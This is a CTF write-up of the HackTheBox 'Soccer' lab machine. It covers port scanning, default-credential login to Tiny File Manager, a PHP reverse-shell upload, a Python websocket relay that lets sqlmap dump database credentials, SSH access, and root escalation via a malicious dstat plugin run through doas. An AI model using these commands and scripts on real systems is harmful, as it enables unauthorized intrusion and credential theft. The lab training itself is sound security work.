HackTheBox Soccer Machine WriteUp
初のHTB Writeupです。
Easy MachineじゃないEasy Machineと言われてますが、個人的には他のEasyより難しくなかったと感じました。
Remote IP : 10.129.75.231
This is my first HTB Writeup.
It is called not Easy Machine, but I personally felt it was not more difficult than other Easy.
Remote IP : 10.129.75.231
Enumeration
Nmap
$ nmap -sC -sV 10.129.75.231
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-10 13:09 BST
Nmap scan report for 10.129.75.231
Host is up (0.080s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ad0d84a3fdcc98a478fef94915dae16d (RSA)
| 256 dfd6a39f68269dfc7c6a0c29e961f00c (ECDSA)
|_ 256 5797565def793c2fcbdb35fff17c615c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://soccer.htb/
9091/tcp open xmltec-xmlmail?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, SSLSessionReq, drda, informix:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 139
| Date: Sat, 10 Jun 2023 12:09:57 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot GET /</pre>
| </body>
| </html>
| HTTPOptions, RTSPRequest:
| HTTP/1.1 404 Not Found
| Content-Security-Policy: default-src 'none'
| X-Content-Type-Options: nosniff
| Content-Type: text/html; charset=utf-8
| Content-Length: 143
| Date: Sat, 10 Jun 2023 12:09:57 GMT
| Connection: close
| <!DOCTYPE html>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error</title>
| </head>
| <body>
| <pre>Cannot OPTIONS /</pre>
| </body>
|_ </html>
...
You can find "Did not follow redirect to http://soccer.htb/ ". So, you add remote IP and domain to /etc/hosts.
...
10.129.75.231 soccer.htb
You can access to http://soccer.htb/
WFUZZ (Fuzzing tool)
$ wfuzz -u http://soccer.htb/FUZZ -w /usr/share/dirb/wordlists/big.txt --hc 404
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://soccer.htb/FUZZ
Total requests: 20469
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000016: 403 7 L 10 W 162 Ch ".htpasswd"
000000015: 403 7 L 10 W 162 Ch ".htaccess"
000018122: 301 7 L 12 W 178 Ch "tiny"
Total time: 30.39291
Processed Requests: 20469
Filtered Requests: 20466
Requests/sec.: 673.4793
We found http://soccer.htb/tiny/ . The website use tiny file manager.
You should search Default credentials. Then, you can find https://github.com/prasathmani/tinyfilemanager and default username/password is admin/admin@123
and user/12345
.
admin/admin@123
is correct.
Foothold
You can find upload function, so you upload php reverse shell.
And you start port listening.
$ sudo nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
After you uploaded reverse shell, you access to http://soccer.htb/tiny/uploads/php-reverse-shell.php.
$ sudo nc -lvnp 9001
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.129.75.231.
Ncat: Connection from 10.129.75.231:46998.
Linux soccer 5.4.0-135-generic #152-Ubuntu SMP Wed Nov 23 20:19:22 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux
12:34:19 up 26 min, 0 users, load average: 0.00, 0.00, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
You get the reverse shell.
you know the website is using nginx because nmap taught you.
$ cd /etc/nginx/sites-enabled
$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Dec 1 2022 .
drwxr-xr-x 8 root root 4096 Nov 17 2022 ..
lrwxrwxrwx 1 root root 34 Nov 17 2022 default -> /etc/nginx/sites-available/default
lrwxrwxrwx 1 root root 41 Nov 17 2022 soc-player.htb -> /etc/nginx/sites-available/soc-player.htb
$ cat soc-player.htb
server {
listen 80;
listen [::]:80;
server_name soc-player.soccer.htb;
root /root/app/views;
location / {
proxy_pass http://localhost:3000;
proxy_http_version 1.1;
proxy_set_header Upgrade $http_upgrade;
proxy_set_header Connection 'upgrade';
proxy_set_header Host $host;
proxy_cache_bypass $http_upgrade;
}
}
You add soc-player.soccer.htb host to /etc/hosts file, and access to http://soc-player.soccer.htb/.
After you sign up and sign in, you open inspector in browser.
Then, you find 9091 websocket.
You can use blind sql injection over websocket attack.
This is the modified code. I only changed id and ws_server.
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
from websocket import create_connection
ws_server = "ws://soc-player.soccer.htb:9091"
def send_ws(payload):
ws = create_connection(ws_server)
# If the server returns a response on connect, use below line
#resp = ws.recv() # If server returns something like a token on connect you can find and extract from here
# For our case, format the payload in JSON
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
ws.send(data)
resp = ws.recv()
ws.close()
if resp:
return resp
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
self.wfile.write(content.encode())
return
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
You save the code "sql.py".
$ python3 sql.py
[+] Starting MiddleWare Server
[+] Send payloads in http://localhost:8081/?id=*
sqlmap -u http://localhost:8081/?id=1 -p id --dbs
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] soccer_db
[*] sys
sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db --tables
Database: soccer_db
[1 table]
+----------+
| accounts |
+----------+
sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db -T accounts --columns
id,email,username,password
sqlmap -u http://localhost:8081/?id=1 -p id -D soccer_db -T accounts -C id,email,username,password --dump
1324 player@player.htb player PlayerOftheMatch2022
$ ssh player@10.129.75.231
The authenticity of host '10.129.75.231 (10.129.75.231)' can't be established.
ECDSA key fingerprint is SHA256:Ke/TB8v0VkzfMGP9JasA7Vb22F4d1X6hyU/U5+8JKws.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.75.231' (ECDSA) to the list of known hosts.
player@10.129.75.231's password:
Last login: Tue Dec 13 07:29:10 2022 from 10.10.14.19
player@soccer:~$ ls -la
total 28
drwxr-xr-x 3 player player 4096 Nov 28 2022 .
drwxr-xr-x 3 root root 4096 Nov 17 2022 ..
lrwxrwxrwx 1 root root 9 Nov 17 2022 .bash_history -> /dev/null
-rw-r--r-- 1 player player 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 player player 3771 Feb 25 2020 .bashrc
drwx------ 2 player player 4096 Nov 17 2022 .cache
-rw-r--r-- 1 player player 807 Feb 25 2020 .profile
lrwxrwxrwx 1 root root 9 Nov 17 2022 .viminfo -> /dev/null
-rw-r----- 1 root player 33 Jun 10 12:09 user.txt
player@soccer:~$ cat user.txt
198c75db64c8533d5d0e2a0f9fbe2f4a
Privilege Escalation
player@soccer:~$ find / -type f -user root -perm -4000 2>/dev/null
/usr/local/bin/doas
...
doas has a vulnerability.
player@soccer:~$ cat /usr/local/etc/doas.conf
permit nopass player as root cmd /usr/bin/dstat
dstat also has a vulnerability.
player@soccer:~$ find / -type d -name dstat 2>/dev/null
/usr/share/doc/dstat
/usr/share/dstat
/usr/local/share/dstat
player@soccer:~$ vi /usr/local/share/dstat/dstat_exploit.py
player@soccer:~$ dstat --list | grep exploit
exploit
You execute the exploit code combined doas and dstat.
player@soccer:~$ doas -u root /usr/bin/dstat --exploit
/usr/bin/dstat:2619: DeprecationWarning: the imp module is deprecated in favour of importlib; see the module's documentation for alternative uses
import imp
Module dstat_exploit failed to load. (name 'dstat_plugin' is not defined)
None of the stats you selected are available.
player@soccer:~$ bash -p
bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
7d9a053df6236207819ecb9fdf82c298
You pwned the Machine.
Discussion